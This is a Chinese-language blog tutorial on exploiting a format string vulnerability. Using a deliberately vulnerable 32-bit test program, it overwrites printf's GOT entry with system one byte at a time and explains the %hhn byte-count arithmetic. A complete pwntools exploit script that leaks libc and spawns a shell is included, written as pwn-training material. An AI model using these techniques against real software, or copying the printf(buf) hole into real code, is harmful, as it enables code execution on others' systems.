格式化字符串漏洞之覆盖大数字

感谢hollk师傅江下枫师傅.

这篇文章我主要是想说,利用格式化字符串漏洞来任意地址写,并且是将printf_got覆盖为system之类的利用手法。

覆盖任意地址为一个很大的数字,这时我们只能一次写1字节或者2字节,因为程序的缓冲区可能没有4字节(也就是0xFFFFFFFF)那么大,容易爆;这里笔者还是建议一次覆盖一字节,这样更保险。

有的师傅可能会迷糊,那如果我的第一个字节为0x22,第二个字节为0x11,在已经写了0x22的前提之下,我改怎么让第二字节覆盖为0x11呢?

初次接触我也有这样的疑惑,这也就是我写这篇文章的原因。

例子

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char const *argv[])
{
	char buf[0x101];
	int i;
	for (i = 0; i < 0x10; ++i) {
		memset(buf, 0, sizeof(buf));
		read(0, buf, sizeof(buf));
		printf(buf);
	}
	return 0;
}

gcc test.c -z norelro -m32 -o test
我使用的libc是libc2.27

这个例子我将展示如何将printf_got表中的内容改为system.

  • 首先确定我们的输入在栈上的偏移,利用%3$p可以泄露(main+30)地址,然后计算出elf_base,用来获取printf_got地址

我输入的%3$p,可以看到在0xb位置,同时有一个字节在0xa,这个细节是我们需要注意到的,之后的利用我们要手动补齐这个字节,就是在开头随便写一个b"a".

    payload = b"%3$p"
    sl(payload)
    elf_base = int(io.recv(10),16) - 30 - elf.sym["main"]
    printf_got = elf_base + elf.got["printf"]

  • 然后将printf_got写入栈中,也就是在偏移为0xb位置,利用%11$s,可以打印printf_got中内容:
    payload = b"a"
    payload += p32(printf_got)
    payload += b"%11$s"
    sl(payload)

  • 接着得到libc基址,算出system函数,取出他的后3字节,因为system和printf只有后面3字节不一样,如图。
    printf_addr = get_addr()
    print("printf_addr ------> "+hex(printf_addr))
    libc_base = printf_addr - libc.sym["printf"]
    system = libc.sym["system"] + libc_base
    by1 = system & 0xff
    by2 = ( system >> 8 ) & 0xff
    by3 = ( system >> 16) & 0xff
    print("by1 -----> "+hex(by1))
    print("by2 -----> "+hex(by2))
    print("by3 -----> "+hex(by3))

  • 修改这三个字节,但是要注意,我们同时修改他们,也就是在同一次循环中修改他们,假如在这次循环中你只修改了一字节,那么下次循环printf找不到真实地址,会报错。
    payload = b"b"
    payload += b"%" + str(by1-1).encode() + b"c%21$hhn"
    payload += b"%" + str(by2 - by1 + 0x100).encode() + b"c%22$hhn"
    payload += b"%" + str(by3 - by2 + 0x100).encode() + b"c%23$hhn"
    payload = payload.ljust(4*10+1,b"a")
    payload += p32(printf_got)
    payload += p32(printf_got + 1)
    payload += p32(printf_got + 2)
    sl(payload)

str(by1-1)是因为前面有一个字节,所以-1.

str(by2 - by1 + 0x100)str(by3 - by2 + 0x100)这是为了避免by2比by1、by3比by2小的情况。

举个例子:假如by1=0x33,by2=0x22,by3=0x11

那么by2 - by1 + 0x100 = 0xEF,如果是这样by2 - by1 = 0xFFFFFFFFFFFFFFEF,其实也是可以的,因为我们只写一个字节,那么程序只会取最后一字节0xef,此时再加上第一次写的0x33,---> 0xef + 0x33 = 0x122,只取最后一个字节,那就是覆盖为0x22,达到目的。

至于为什么第三个为什么不是by3 - by2 - by1 + 0x100?那是因为在第二次写时,已经整数溢出,又从0x22开始计数,所以就相当于前面只写了0x22字节,故同理第三次为by3 - by2 + 0x100.

  • 接下来的输入我们写/bin/sh就好啦。

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="i386")

io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('/ctf/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')

gscript = '''

    b *$rebase(0x129B)
'''
  

sla = lambda x,y : io.sendlineafter(x,y)
sa  = lambda x,y : io.sendafter(x,y)
sl  = lambda x   : io.sendline(x)
sd  = lambda x   : io.send(x)
gd  = lambda     : gdb.attach(io)
inter = lambda   : io.interactive()

def debug():
    gdb.attach(io,gdbscript=gscript)
    pause()
def get_addr() :
    return u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def pwn():
    # debug()
    payload = b"%3$p"
    sl(payload)
    elf_base = int(io.recv(10),16) - 30 - elf.sym["main"]
    printf_got = elf_base + elf.got["printf"]
    payload = b"a"
    payload += p32(printf_got)
    payload += b"%11$s"
    sl(payload)
    # pause()

    printf_addr = get_addr()
    print("printf_addr ------> "+hex(printf_addr))
    libc_base = printf_addr - libc.sym["printf"]
    system = libc.sym["system"] + libc_base
    by1 = system & 0xff
    by2 = ( system >> 8 ) & 0xff
    by3 = ( system >> 16) & 0xff
    print("by1 -----> "+hex(by1))
    print("by2 -----> "+hex(by2))
    print("by3 -----> "+hex(by3))

    debug()
    payload = b"b"
    payload += b"%" + str(by1-1).encode() + b"c%21$hhn"
    payload += b"%" + str(by2 - by1 + 0x100).encode() + b"c%22$hhn"
    payload += b"%" + str(by3 - by2 + 0x100).encode() + b"c%23$hhn"
    payload = payload.ljust(4*10+1,b"a")
    payload += p32(printf_got)
    payload += p32(printf_got + 1)
    payload += p32(printf_got + 2)
    sl(payload)

    sl(b"/bin/sh\x00")
    inter()

pwn()

posted @ 2024-04-08 10:34  _Ya0  阅读(58)  评论(0)    收藏  举报